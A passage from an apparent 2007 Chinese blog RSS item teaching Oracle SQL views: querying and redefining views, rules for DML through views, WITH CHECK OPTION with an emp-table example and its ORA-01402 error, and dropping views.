            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>创建成功后，可以从<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>中检索数据，这点和从表中检索数据一样。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;还可以查询<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的全部信息和指定的数据行和列。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;如：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;检索数据：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&gt;SELECT&nbsp;*&nbsp;FROM&nbsp;&nbsp;dept_sum_vw；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;查询<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>定义：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;view_name,text&nbsp;&nbsp;from&nbsp;user_views;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其中text显示的内容为<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>定义的SELECT语句，可通过DESC&nbsp;USER_VIEWS</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;得到相关信息。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>修改<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过OR&nbsp;REPLACE&nbsp;重新创建同名<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>即可。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>上的DML&nbsp;操作：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DML操作应遵循的原则：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.简单<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>可以执行DML操作；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.在<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>包含GROUP&nbsp;函数，GROUP&nbsp;BY子句，DISTINCT关键字时不能</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;删除数据行；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.在<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>不出现下列情况时可通过<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>修改基表数据或插入数据：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a.<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>中包含GROUP&nbsp;函数，GROUP&nbsp;BY子句，DISTINCT关键字；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b.使用表达式定义的列；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.ROWNUM伪列。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d.基表中未在<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>中选择的其他列定义为非空且无默认值。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>可用于保持数据库的完整性，但作用有限。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><nobr><font size=3>通过<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>执行引用完整性约束可在数据库级执行约束。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>WITH&nbsp;CHECK&nbsp;OPTION&nbsp;子句限定：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>执行的INSERTS和UPDATES操作不能创建该<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>检索不到的数据行，</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因为它会对插入或修改的数据行执行完整性约束和数据有效性检查。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;例如：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CREATE&nbsp;OR&nbsp;REPLACE&nbsp;VIEW&nbsp;&nbsp;vw_emp20</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AS&nbsp;&nbsp;SELECT&nbsp;*&nbsp;&nbsp;FROM&nbsp;&nbsp;emp</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE&nbsp;&nbsp;deptno=20</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WITH&nbsp;CHECK&nbsp;OPTION&nbsp;constraint&nbsp;&nbsp;vw_emp20_ck;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>&nbsp;已建立。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;查询结果：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;empno,ename,job&nbsp;FROM&nbsp;vw_emp20;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EMPNO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ENAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JOB</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>---------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-------------</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7369&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMITH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CLERK</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7566&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JONES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MANAGER</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7902&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ANALYST</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;修改：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UPDATE&nbsp;vw_emp20&nbsp;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SET&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;deptno=20</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE&nbsp;&nbsp;&nbsp;empno=7902;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;将产生错误：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UPDATE&nbsp;vw_emp20&nbsp;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ERROR&nbsp;位于第一行：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORA-01402：<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>WITH&nbsp;CHECK&nbsp;OPTION&nbsp;违反WHERE&nbsp;子句</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的删除：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DROP&nbsp;VIEW&nbsp;&nbsp;VIEW_NAME语句删除<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;删除<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的定义不影响基表中的数据。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;只有<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>所有者和具备DROP&nbsp;VIEW权限的用户可以删除<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>被删除后，基于被删除<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的其他<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>或应用将无效。</font> </nobr></div>
            </div>
            </nobr></div>
            </div>
            </div>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.blogjava.net/19851985lili/aggbug/102460.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-03-07 20:08 <a href="http://www.blogjava.net/19851985lili/articles/102460.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>